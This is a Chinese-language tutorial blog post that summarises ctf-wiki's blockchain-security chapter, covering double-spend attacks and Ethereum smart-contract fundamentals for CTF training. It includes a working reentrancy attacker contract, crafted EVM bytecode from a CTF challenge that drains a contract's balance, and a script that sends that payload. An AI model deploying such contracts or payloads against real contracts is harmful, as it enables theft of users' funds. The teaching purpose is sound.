☰
ctf-wiki 區塊鏈安全指南:從公鏈雙花攻擊到以太坊智能合約漏洞全景
2026/9/25 11:42:42 网站建设 项目流程
  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

本篇基於 ctf-wiki 的區塊鏈安全章節撰寫。ctf-wiki 近年來由社群小夥伴共同補齊了區塊鏈安全相關內容,將整個領域梳理爲公鏈安全與智能合約安全兩大方向。本文以該章節的 總覽頁 爲骨架,結合 公鏈弱點、Ethereum 概述、以太坊基礎、存儲佈局、Opcode 手冊 與 重入攻擊 等頁面,完整梳理 CTF 中區塊鏈安全的知識版圖。讀完本文,你將理解公鏈層面各類雙花攻擊的原理與防禦思路,掌握以太坊賬戶、交易、Gas、存儲佈局與 EVM 指令集等基礎知識,並能沿着 ctf-wiki 提供的題目列表與工具清單,搭建起從理論到實戰的完整學習路徑。

區塊鏈安全概述:兩大方向

區塊鏈安全在近幾年發展迅速,但早期 wiki 上沒有相關內容,因此 ctf-wiki 邀請了多位小夥伴共同撰寫了區塊鏈安全相關內容(部分用詞可能不盡準確,讀者可以透過提 issue 的方式促使 wiki 及時修正)。整個區塊鏈章節將安全問題概述爲兩大方向:

  • 公鏈安全:針對公鏈共識機制、賬本結構等底層設計的攻擊與弱點分析;
  • 智能合約安全:主要介紹以Solidity這種主流程式語言編寫的 Ethereum 智能合約安全基礎知識。

從 CTF 的實際出題情況看,區塊鏈安全內容目前爲止涉及最多的便是 Ethereum 安全(參見 Ethereum 概述),因此本指南的主體篇幅將圍繞以太坊展開,同時補齊公鏈層面的攻擊模型。

公鏈安全

公鏈的定義與安全前提

公鏈安全概述 引用了維基百科的定義:公鏈(Public Blockchain)完全沒有訪問限制,任何能連接互聯網的人都可以向其發送交易,也可以成爲驗證者(即參與共識協議的執行)。通常這類網絡會爲維護安全者提供經濟激勵,並使用某種形式的權益證明(Proof of Stake)或工作量證明(Proof of Work)算法。最著名、規模最大的公鏈包括比特幣區塊鏈和以太坊區塊鏈。

理解公鏈安全,首先要理解其最核心的威脅——雙花(Double-spending)。

雙花問題與確認機制

雙花問題是電子現金系統中的一個潛在問題:同一筆資金同時支付給兩個接收者。區塊鏈系統通過公開賬本的方式來避免雙花:用戶廣播交易時,交易不會立即被添加到區塊鏈中,而是等待礦工通過挖礦將其打包進區塊;接收者在確認合法交易已上鏈之後,才能認定該交易有效。用戶通過等待確認來防範雙花欺詐——隨着確認數量的增加,交易變得越來越不可逆轉。

但區塊鏈系統並不能完全防止雙花。攻擊者可以:

  • 憑藉龐大的哈希計算資源,重新完成已確認區塊的工作量證明,使自己所在的鏈成爲最長鏈,從而逆轉交易;
  • 針對某些未確認交易直接發起雙花攻擊。

51% 攻擊

51% 攻擊是指礦工試圖控制超過 50% 的哈希率(挖礦算力)來實現雙花。在此攻擊中,攻擊者可以阻止新交易被確認,也可以撤銷其控制網絡期間已經確認的交易。

由於比特幣等 PoW 共識的區塊鏈遵循最長鏈原則:當礦工發現全網存在一條更長的鏈時,就會拋棄當前鏈,把更長的鏈全部複製回來,並在該鏈基礎上繼續挖礦,而分叉出的短鏈會被丟棄。因此攻擊者的典型手法是:與商家完成交易後,從交易前的區塊開始分叉,憑藉足夠多的算力持續挖出更長的鏈,使包含交易的那條鏈被丟棄,從而實現雙花。

理論上無法通過技術手段完全防範 51% 攻擊,只能通過經濟學原理來規避:讓控制全網 51% 算力的成本極高,且擁有如此強大算力的攻擊者進行正常挖礦比作惡收益更高。但對於小規模的山寨幣來說,攻擊成本較低——例如 Ethereum Classic 網絡就曾多次遭受 51% 攻擊。

在 CTF 題目中,與該主題相關的經典題目是miniblockchain(詳見下方題目章節,附屬於 DDCTF 2018)。

Finney 攻擊(芬尼攻擊)

Finney 攻擊由 Hal Finney 命名,他是第一個描述扣塊攻擊的人。這是一種雙花攻擊的變種,攻擊對象主要是接受 0 確認的商家。

攻擊流程如下:

  1. 攻擊者將一筆給自己轉賬的交易預挖爲一個區塊,但暫不廣播到網絡;
  2. 用同一筆代幣去接受 0 確認的商家處消費;
  3. 在獲得商家的交換物、且交易真正被確認前,才廣播之前預挖的區塊,使轉給自己的交易合法化;
  4. 比特幣網絡接受該有效區塊,使對商家的交易失效,最終實現雙花。

所謂「0 確認」是指一筆交易已廣播到全網、即將被打包進區塊的狀態。由於區塊鏈出塊時間較慢,交易確認需要等待較長時間,部分商家爲節省時間接受 0 確認交易——即交易信息廣播到全網即可,無需等待打包入區塊。

Race 攻擊(競爭攻擊)

Race 攻擊是攻擊者使用相同的資金連續廣播兩個衝突的交易,但最終只有一個交易會得到確認。該攻擊主要通過控制礦工費來實現雙花,同樣針對接受 0 確認的商家:最終使發給自己的交易被打包確認,而使另一筆支付交易失效。

與 Finney 攻擊的區別在於對抗雙方的形態不同:

  • Finney 攻擊是「0 確認交易 vs 衝突區塊」;
  • Race 攻擊是「0 確認交易 vs 衝突交易」。

Vector76 攻擊(一次確認攻擊)

Vector76 攻擊也稱一次確認攻擊,是 Race 攻擊與 Finney 攻擊的結合,使得具有一個確認的交易仍然可以被撤銷。

攻擊流程:

  1. 攻擊者(礦工)創建兩個節點:一個連接到商家節點,另一個連接到區塊鏈網絡中連接良好的節點;
  2. 使用相同的資金創建兩筆交易:交易 1 發送給商家地址,交易 2 發送給自己的錢包並設置較高的礦工費;
  3. 攻擊者不立即廣播這兩筆交易,而是在交易 1 的分支上進行挖礦;
  4. 挖到區塊後,向商家節點廣播交易 1,向另一個節點廣播交易 2;
  5. 交易 2 被確認後,攻擊者立即把自己之前在交易 1 分支上挖到的區塊廣播給商家——接受一次確認就支付的商家會確認交易成功;
  6. 由於交易 2 發送給了連接更多節點的節點,礦工在該分支上挖出更長鏈的概率更大,交易 1 會被回滾,從而實現雙花。

扣塊攻擊(Block Withholding)

扣塊攻擊最簡單的形式是上述的 Finney 攻擊,但同樣存在針對礦池的扣塊攻擊方式。

礦池最常見的支付機制是 PPS(Pay-Per-Share):礦工所貢獻的每一個「share(股份)」都會收到固定報酬。Share 是用來記錄礦工貢獻的哈希值,它不是區塊鏈網絡中有效的哈希,而只是礦池設置的匹配條件。由於單獨礦工找到符合 PoW 系統要求的解是極小概率事件,礦池會給礦工設置一個合理的提交 Share 門檻,以便衡量工作量。

扣塊攻擊是指惡意礦工:

  • 找到滿足礦池要求、但不滿足比特幣系統要求的結果時,正常向礦池提交工作證明;
  • 一旦得到滿足比特幣系統要求的結果(即真正挖到區塊),則私自扣下不提交。

如此一來,礦池便損失了對應的出塊獎勵。扣塊攻擊會使礦工和礦池雙方都受損失:礦工只是得不到礦池分攤的 Share 獎勵,而礦池則損失了整塊出塊獎勵。

自私挖礦(Selfish-Mining)

自私挖礦的流程:

  1. 攻擊者挖到新區塊後藏起來不公佈,其他誠實礦工不知道新區塊的存在,仍在舊區塊基礎上繼續挖礦;
  2. 等攻擊者挖到第二個區塊後,同時公佈手中藏着的兩個區塊,此時區塊鏈分叉出現;
  3. 只要攻擊者比誠實礦工多挖一個區塊,攻擊者所在的分叉就是最長鏈;
  4. 誠實礦工所在的鏈因比攻擊者的分叉短而被作廢,攻擊者憑藉兩個新區塊獲得相應收益,誠實礦工的獎勵則被回滾。

上述各類公鏈攻擊的完整細節可參閱 公鏈弱點。

智能合約安全:以太坊

爲什麼 CTF 中區塊鏈 = 以太坊

Ethereum 概述 明確指出:CTF 中關於區塊鏈安全的內容,目前爲止涉及到最多的便是 Ethereum 安全。

以太坊是區塊鏈 2.0 的代表產物,底層使用區塊鏈技術,因此繼承了區塊鏈的各種特性,其中最重要的一項是——代碼一旦上鍊,便難以篡改或更改。正因如此,我們需要格外關注它的安全。智能合約(Smart Contract)是以太坊中最爲重要的概念,它允許在沒有第三方的情況下進行可信交易,這些交易可追蹤且不可逆轉。

CTF 中的以太坊安全題目相對而言比較簡單,主要涉及的是 Solidity 安全。要上手這類題目,需要具備以下基本能力:

  • 對區塊鏈基本知識以及交易本質有所瞭解;
  • 熟悉並掌握 Solidity 程式語言及以太坊虛擬機 EVM 運行機制;
  • 熟悉各種測試鏈,包括私鏈;
  • 熟悉 Remix、MetaMask、web3.js、web3.py 等工具或庫的使用;
  • 瞭解並掌握以太坊智能合約各種漏洞及其攻擊原理;
  • 對底層 opcodes 理解透徹;
  • 較強的程序理解和逆向分析能力。

注:以太坊智能合約大多數不公開源代碼,而是隻公開字節碼,所以逆向分析能力是必備的。

基礎知識:Solidity、工具與賬戶模型

以太坊基礎 從工具鏈到賬戶、交易模型,給出了完整的知識鋪墊。

Solidity是一種用於編寫智能合約的高級語言,語法類似 JavaScript。在以太坊平臺上,Solidity 編寫的智能合約可以被編譯成字節碼,在以太坊虛擬機 EVM 上運行。

MetaMask是使用最廣泛的以太坊錢包(小狐狸標識),Chrome 提供其插件。它不僅可以管理外部賬戶,還可便捷切換測試鏈網絡,並支持自定義 RPC 網絡。一個外部賬戶通常由私鑰文件控制,擁有私鑰即可使用對應地址賬戶中的 Ether;我們通常把管理數字密鑰的軟件稱爲錢包,所謂備份錢包其實就是備份賬戶的私鑰文件。

Remix是基於瀏覽器的 Solidity 編譯器和集成開發環境,提供交互式界面,以及編譯、調用測試、發佈等一系列功能。

以太坊中存在兩種類型的賬戶:

外部賬戶(Externally Owned Account, EOA):由人創建,可以存儲以太幣,由公鑰和私鑰控制。每個外部賬戶擁有一對公私鑰,用於簽署交易,地址由公鑰決定。外部賬戶不能包含 EVM 代碼,其特性包括:擁有一定的 Ether;可以發送交易、通過私鑰控制;沒有相關聯的代碼。

合約賬戶:由外部賬戶創建,包含合約代碼,地址由合約創建者的地址與該地址發出的交易共同計算得出。其特性包括:擁有一定的 Ether;有相關聯的代碼,代碼通過交易或其他合約發送的調用來激活;當合約被執行時,只能操作合約賬戶擁有的特定存儲。

關於私鑰、公鑰與地址的關係,需要記住:私鑰經過橢圓曲線算法(ECDSA-secp256k1)計算生成公鑰,再計算公鑰的 Keccak-256 哈希值,取最後 160 位二進制(通常表現爲 40 位的十六進制字符串)形成地址。公鑰和地址都可以公開,而私鑰必須妥善保管——丟失或泄露都會導致資產損失。

以太坊中這兩種賬戶統稱爲「狀態對象」(存儲狀態)。一個以太坊賬戶包含 4 個部分:

字段含義
nonce已執行交易總數,標示該賬戶發出的交易數量
balance賬戶持幣數量,記錄以太幣餘額
storageRoot存儲區的哈希值,指向智能合約賬戶的存儲數據區
codeHash代碼區的哈希值,指向智能合約賬戶存儲的合約代碼

兩個外部賬戶之間的交易只是價值轉移;而從外部賬戶到合約賬戶的交易會激活合約代碼,允許它執行各種操作(轉移 Token、寫入內部存儲、創建新 Token、執行計算、創建新合約等)。與外部賬戶不同,合約賬戶不能自行發起新交易,只能觸發交易以響應其他交易。

交易模型與 Gas 機制

以太坊的交易是指一條外部賬戶發送到鏈上另一賬戶的消息的簽名數據包,包含發送者簽名、接收者地址以及轉移的以太幣數量等內容。每筆交易都需要支付費用,用於支付執行所需的計算開銷。計算開銷不以以太幣直接計價,而是引入Gas作爲執行開銷的基本單位,通過 GasPrice 與以太幣換算。GasPrice 根據市場波動調整,避免以太幣價值受市場價格影響。

交易費用涉及三個概念:

  • Gas:衡量一筆交易所消耗的計算資源的基本單位;
  • Gas Price:一單位 Gas 所需的手續費(Ether);
  • Gas Limit:交易發送者願意爲這筆交易執行所支付的最大 Gas 數量。

注:如果交易實際消耗的 Gas(Gas Used)小於 Gas Limit,礦工只收取實際計算開銷對應的手續費(Gas Used × Gas Price);如果 Gas Used 大於 Gas Limit,礦工執行中會發現 Gas 耗盡而交易未執行完成,此時礦工回滾到執行前的狀態,並收取 Gas Limit 對應的手續費(GasPrice × Gas Limit)。換句話說,GasPrice × Gas Limit表示用戶願意爲一筆交易支付的最高金額。

一條交易包含以下內容:from(發送者地址,必填)、to(接收者地址,爲空則表示創建合約)、value(轉移的以太幣數量)、data(數據字段,存在則表示創建或調用合約)、Gas Limit、GasPrice、nonce(區分同一賬戶發出的不同交易)、hash(由以上信息生成的散列值)、r、s、v(交易簽名的三個部分,由私鑰對交易 hash 簽名生成)。

以太坊交易有三種類型:

轉賬交易——最簡單,從一個賬戶向另一個賬戶發送 Ether,只需指定發送者、接收者、轉移數量(Gas、nonce、hash、簽名可按默認方式生成):

web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", value: 1000 })

創建合約的交易——將合約部署上鍊,to字段爲空字符串,data字段爲合約編譯後的二進制代碼:

web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", data: "contract binary code" })

執行合約的交易——to字段爲要調用的智能合約地址,data字段指定要調用的方法簽名哈希及編碼後的參數:

web3.eth.sendTransaction({ from: "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2", to: "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f", data: "hash of the invoked method signature and encoded parameters" })

提示:根據to、data字段內容也可以反過來判斷交易類型,進而繼續分析。

與合約交互除了通過 Remix 手動操作外,還可以使用 Python 的 web3.py 庫、Node.js 的 web3.js 庫,或通過 Infura 提供的 RPC API 進行自動化交互。Infura 支持 Mainnet、Ropsten、Rinkeby、Kovan、Görli 等網絡的 JSON-RPC over HTTPs / WebSockets 訪問點(URL 中的YOUR-PROJECT-ID需替換爲 Infura 儀表盤中的項目 ID)。下面是一個使用 web3.py 與 Infura 調用合約函數選擇器爲0x00774360的函數的例子:

from web3 import Web3, HTTPProvider w3 = Web3(Web3.HTTPProvider("https://rinkeby.infura.io/v3/YOUR-PROJECT-ID")) contract_address = "0x31c883a9aa588d3f890c26c7844062d99444b5d6" private = "your private key" public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f" def deploy(public): txn = { 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 3000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(0, 'ether'), 'data': '0x007743600000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001a6100016100016100016100016100016100650361000161fbfbf1000000000000', } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receipt print(deploy(public))

tx.origin 與 msg.sender 的區別

  • msg.sender是函數的直接調用方:在用戶手動調用時是發起交易的賬戶地址,但也可以是調用該函數的另一個智能合約地址。
  • tx.origin必然是這個交易的原始發起方,無論中間有多少次合約內/跨合約調用,而且一定是賬戶地址而不是合約地址。

給定場景:用戶通過合約 A 調用合約 B:

  • 對於合約 A:tx.origin和msg.sender都是用戶;
  • 對於合約 B:tx.origin是用戶,msg.sender是合約 A。

這一區別是很多合約漏洞(如釣魚式 delegatecall 攻擊)的根源,在分析題目時需要時刻留意。

存儲佈局:插槽、映射與動態數組

以太坊存儲 是分析智能合約漏洞的必修課。以太坊爲合約的每項數據指定一個可計算的存儲位置,存放在一個容量爲 2^256 的超級數組中,數組中每個元素稱爲插槽(slot),初始值爲 0。雖然數組容量上限極高,但實際存儲是稀疏的,只有非零數據纔會被真正寫入存儲。

值類型(定長整型int/uint、地址address、定長字節數組bytes1-bytes32等)數據長度已知,編譯時按字段聲明順序從位置 0 開始連續存放。如果可能,小於 32 字節的多個變量會被打包到一個插槽中;數據超過 32 字節則佔用多個連續插槽(data.length / 32)。規則如下:

  • 存儲插槽的第一項以低位對齊(右對齊)方式存儲;
  • 基本類型僅使用存儲它們所需的字節;
  • 如果插槽剩餘空間不足以存儲一個基本類型,則它被移入下一個插槽;
  • 結構體和數組數據總會佔用一整個新插槽(但內部的各項仍按上述規則打包)。

例如以下合約:

pragma solidity ^0.4.0; contract C { address a; // 0 uint8 b; // 0 uint256 c; // 1 bytes24 d; // 2 }

其存儲佈局爲:slot 0 從低位到高位依次存放a (20 字節)、b (1 字節)、剩餘 11 字節未使用;slot 1 存放c (32 字節);slot 2 存放d (24 字節)、剩餘 8 字節未使用。

映射(mapping)無法按順序存儲。對於mapping(address => uint) a;,它佔據位置p處的一個插槽(該插槽不會被真正使用),鍵k對應的值位於keccak256(k . p)(.爲連接符);如果該值是非基本類型,則以keccak256(k . p)作爲偏移量進一步定位。

動態數組(如uint[] b;)佔用位置p處的插槽存放數組長度,數組真實起始點位於keccak256(p)處,第i個元素位於keccak256(p) + i。

字節數組與字符串存在特例:如果數據長度 ≤ 31 字節,則數據與長度一起存儲在同一插槽——數據存儲在高位字節(左對齊),最低位字節存儲length * 2;如果數據長度 > 31 字節,主插槽存儲length * 2 + 1,數據存儲在keccak256(slot)中。

可見性與私有數據洩露:由於以太坊上所有信息都是公開的,即使變量聲明爲private,仍能讀到具體值。利用 web3 的web3.eth.getStorageAt()方法,可以讀取指定地址指定位置的存儲內容。只要計算出變量對應的插槽位置,就能拿到變量的值:

// web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]) web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log); > "0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234"

參數含義:address爲要讀取的地址;position爲存儲中的索引編號;defaultBlock可選,用於覆蓋web3.eth.defaultBlock屬性值;callback爲可選回調函數,第一個參數是錯誤對象,第二個參數是結果。

以 Balsn CTF 2019 的 Bank 一題爲例,題目合約包含owner、randomNumber、SafeBox[] safeboxes與mapping(address => FailedAttempt[]) failedLogs,其插槽佈局如下:

----------------------------------------------------- || unused (12) | owner (20) | <- slot 0 ----------------------------------------------------- || randomNumber (32) | <- slot 1 ----------------------------------------------------- || safeboxes.length (32) | <- slot 2 ----------------------------------------------------- || occupied by failedLogs but unused (32) | <- slot 3 -----------------------------------------------------

其中safeboxes的元素起始於keccak256(2),每個元素佔 2 個插槽;failedLogs需要先通過keccak256(addr . 3)定位特定地址對應數組的長度插槽,數組真實起始點位於keccak256(keccak256(addr . 3)),每個元素佔 3 個插槽。分析時可藉助如下輔助函數計算位置:

function read_slot(uint k) public view returns (bytes32 res) { assembly { res := sload(k) } } function cal_addr(uint k, uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(k, p)); } function cal_addr(uint p) public pure returns(bytes32 res) { res = keccak256(abi.encodePacked(p)); }

與存儲相關的攻擊一般分爲兩類:一是利用「存儲本質公開」的特性任意讀取private變量;二是結合任意寫漏洞,覆蓋特定位置的存儲。

EVM 與 Opcodes

以太坊的 opcodes 共有 142 種,常見部分如下(完整列表可查閱 Ethereum Opcodes):

Uint8MnemonicStack InputStack OutputExpression
00STOP--STOP()
01ADD| a | b || a + b |a + b
02MUL| a | b || a * b |a * b
03SUB| a | b || a - b |a - b
04DIV| a | b || a // b |a // b
51MLOAD| offset || value |value = memory[offset:offset+32]
52MSTORE| offset | value |-memory[offset:offset+32] = value
54SLOAD| key || value |value = storage[key]
55SSTORE| key | value |-storage[key] = value
56JUMP| destination |-$pc = destination
5BJUMPDEST---
F3RETURN| offset | length |-return memory[offset:offset+length]
FDREVERT| offset | length |-revert(memory[offset:offset+length])

注意:JUMPDEST 是跳轉指令的目標,跳轉指令不能跳轉到沒有 JUMPDEST 的地方。

以 starCTF 2021 的 StArNDBOX 一題爲例:題目合約部署時傳入 100 wei,目標是清空合約 balance。StArNDBoX函數可以獲取任意地址的合約並檢測其每個字節是否爲質數(require(res.isPrime() == true)),通過檢查後用delegatecall調用目標合約。但題目中的isPrime並非完整質數檢查函數,00和01也能通過檢查,因此可以構造如下字節碼:

// 0x6100016100016100016100016100016100650361000161fbfbf1 61 00 01 | PUSH2 0x0001 61 00 01 | PUSH2 0x0001 61 00 01 | PUSH2 0x0001 61 00 01 | PUSH2 0x0001 61 00 01 | PUSH2 0x0001 61 00 65 | PUSH2 0x0065 03 | SUB 61 00 01 | PUSH2 0x0001 61 fb fb | PUSH2 0xfbfb f1 | CALL

執行address(0x0001).call.gas(0xfbfb).value(0x0065 - 0x0001),即把題目合約的 balance 轉到0x1地址,從而清空 balance 滿足拿 flag 的條件。

經典漏洞:重入攻擊

重入攻擊 是智能合約中的經典攻擊,以太坊 The DAO 項目遭受的重入攻擊直接導致了以太坊(ETH)和以太坊經典(ETC)的硬分叉。

其原理是「先給錢後記賬」。假設銀行合約實現瞭如下取款功能:

contract Bank { mapping(address => uint256) public balanceOf; ... function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); msg.sender.call.value(amount)(); balanceOf[msg.sender] -= amount; } }

問題在於:以太坊中合約的調用者可以是另一個智能合約,轉賬時收款合約的 fallback 函數會被調用。若 fallback 函數內再次調用withdraw,由於此時balanceOf尚未減少,require 條件仍然滿足,導致可重複取款。注意 fallback 函數需要限制重入次數,否則會無限循環調用導致 gas 不足。假設攻擊合約存款 1 ether,可如下取出 2 ether:

contract Hacker { bool status = false; Bank b; constructor(address addr) public { b = Bank(addr); } function hack() public { b.withdraw(1 ether); } function() public payable { if (!status) { status = true; b.withdraw(1 ether); } } }

幾個關鍵注意點:

  • 目標合約使用call發送以太幣時默認提供所有剩餘 gas;若改用transfer或send發送,只有 2300 gas 供攻擊合約使用,不足以完成重入攻擊;
  • 重入前需確認目標合約有足夠以太幣多次轉賬;若目標合約沒有 payable 的 fallback 函數,可新建合約通過selfdestruct自毀強制轉賬;
  • fallback 中先改寫status再重入;如果反過來仍會無限循環調用。

重入漏洞與整數下溢漏洞關聯密切:上述攻擊後,攻擊合約存款由 1 ether 變爲 -1 ether,而 uint256 保存的負數實際是一個極大的正數,後續可繼續利用這筆巨額存款。

除重入攻擊外,以太坊章節還整理了其他常見漏洞:delegatecall 濫用(delegatecall)、CREATE2 地址預計算(create2)、整數溢位/下溢(overflow-underflow)、可預測隨機數(randomness)、短地址攻擊(shortaddress)、未初始化存儲指針(uninitialized-storage-pointer)、跳轉導向程式設計 JOP(jump-oriented-programming)、任意寫(arbitrarywrite)與空投獵取(airdrop-hunting)等。

智能合約逆向

智能合約逆向 指出:智能合約大多數不公開源碼、只公開字節碼,因此需要逆向工具或人工進行逆向分析。常用手段包括在線反編譯服務(如 ethervm.io 的 decompile 功能,但有時會莫名崩潰)以及其他第三方逆向工具。

安全工具與學習資源

學習資源 頁面按類別整理了完整的工具生態:

  • 可視化工具:Solidity Visual Auditor(VSCode 擴展,提供安全導向的語法/語義高亮與類結構視圖)、Sūrya(合約結構可視化與函數調用圖查詢)、Solgraph(生成 DOT 圖展示函數控制流並標註潛在漏洞)、EVM Lab(EVM 交互工具包)、ethereum-graph-debugger(圖形化 EVM 調試器)、Piet(合約架構可視化 Web 應用)。
  • 靜態與動態分析:MythX(專業級雲服務,基於符號分析與輸入模糊測試檢測常見漏洞)、Mythril(智能合約安全瑞士軍刀)、Slither(Python 編寫的靜態分析框架,具備污點與值跟蹤能力)、Contract-Library(已部署合約的反編譯與安全分析)、Echidna(以太坊模糊測試器,基於屬性測試生成惡意輸入)、Manticore(支持 EVM 的動態二進制分析工具)、Oyente(基於學術論文實現的常見漏洞分析)、Securify(全自動在線靜態分析器)、SmartCheck(Solidity 源碼靜態分析)、Octopus(支持 EVM 與 eWASM 的區塊鏈智能合約安全分析)、sFuzz(受 AFL 啓發的高效模糊測試器)、Vertigo(智能合約變異測試)。
  • 弱點分類與測試用例:SWC-registry(SWC 定義及大量精心構造與真實世界的漏洞合約樣例)及發佈在 GitHub Pages 上的 SWC Pages。
  • 測試覆蓋:solidity-coverage(Solidity 測試代碼覆蓋)。
  • Linters 與格式化:Ethlint、Solhint(提供安全與風格雙重校驗)、Prettier + Solidity 插件(強制基本風格約定)。

論文與書籍方面,資源頁推薦了《以太坊技術詳解與實戰》等書籍,以及智能合約、區塊鏈方向的學術論文集合。

練習平臺與 CTF 題目

題目收集 頁面整理了完整的練習資源。在線練習靶場/遊戲方面,可以重點關注以下以太坊智能合約安全挑戰平臺:

  • Ethernaut(OpenZeppelin 推出的以太坊智能合約安全闖關遊戲);
  • Capture The Ether(以太坊智能合約安全挑戰集);
  • Security Innovation 的區塊鏈 CTF 挑戰;
  • Damn Vulnerable DeFi(DeFi 漏洞利用系列挑戰);
  • Paradigm CTF 2021(含官方題目與官方解題代碼)。

注:CTF 中區塊鏈題目並不算多,ctf-wiki 蒐集了絕大多數題目(智能合約與公鏈相關),按年份附上題目與 WP 鏈接;題目列表會隨時更新,同一年中比賽名稱與多篇 WP 均不區分順序。相關題目可前往 ctf-challenges 倉庫的 blockchain 目錄查找,或在 ChainFlag 靶場在線練習。

歷年 Ethereum 智能合約題目(節選):

年份比賽代表性題目
2021RealWorldRe: Montagy、EasyDefi
2021*ctfStArNDBOX
2020高校戰「疫」網絡安全分享賽OwnerMoney
2020RCTFroiscoin
2020第五空間CreativityPlus、SafeDelegatecall
2020釣魚城杯StrictMathematician
2020QWBIPFS、EasyAssembly、EasyFake、EasySandbox、EthGaMe、EBK
2020BalsnElection、IdleGame
2020華爲系列ethenc、boxgame、ContractGame
2019RealWorld / Balsn / CISCNMontagy、Bank、Creativity、Daysbank
2019QWB / ByteCTF / N1CTFbabybank、babybet、bet、hf、h4ck
2019數字經濟 / RoarCTF / Hackergamecow、rise、jojo、CoinFlip、JCBank
2019XCTF_final / D^3CTF / De1CTFHappy_DOuble_Eleven、bet2loss_v2、Easy EOS
2018RealWorld / HCTF / BCTFAcoraida Monica、ethre、bet2loss、ez2win、Fake3d、EOSGAME
2018WCTF / LCTF / *ctfBelluminarBank、easy little trick、ggbank、web-smart_contract
2017dctfspock-lizard-alpha / beta / omega

歷年公鏈(Public Blockchain)題目:

年份比賽題目
2021RealWorldBillboard
2018DDCTFmini blockchain(對應「miniblockchain」題目,用於練習 51% 攻擊等公鏈弱點)

其中 DDCTF 2018 的 mini blockchain 題目正是理解上述「51% 攻擊」等公鏈弱點的最佳實戰入口,相關攻擊原理見公鏈弱點。

結語:一條從理論到實戰的學習路徑

回顧 ctf-wiki 區塊鏈章節的整體脈絡,可以歸納出一條清晰的學習路徑:

  1. 先修基礎:掌握區塊鏈基本知識與交易本質(賬戶、交易、Gas),熟悉 Solidity 語言與 EVM 運行機制;
  2. 搭建工具鏈:學會 MetaMask、Remix、web3.js / web3.py、Infura 的配置與交互方式,能在測試鏈/私鏈上部署與調用合約;
  3. 吃透底層:理解存儲佈局(插槽、映射、動態數組)與常見 opcodes,這是逆向分析與構造攻擊載荷的根基;
  4. 逐個擊破漏洞:沿着重入、delegatecall、整數溢位、隨機數、短地址、未初始化存儲指針等漏洞專頁,理解每種攻擊的原理與利用代碼;
  5. 逆向與實戰:針對只公開字節碼的題目,運用反編譯工具和 opcode 閱讀能力還原邏輯,最後在 Ethernaut、Capture The Ether、Damn Vulnerable DeFi 等靶場以及歷年 CTF 題目中反覆練習。

需要說明的是,以太坊與區塊鏈技術仍在快速演進,ctf-wiki 中的公鏈安全等章節仍留有「待補充」空間,讀者既可將其作爲入門地圖,也可以通過提交 issue 與社群一起完善這份知識庫。

  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:https://gitcode.com/gh_mirrors/ct/ctf-wiki
点击查看免费下载

相关推荐

上一篇:3分钟快速上手:Figma中文汉化插件完整使用指南
下一篇:大气层整合包:Switch破解的终极解决方案与完整使用指南

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询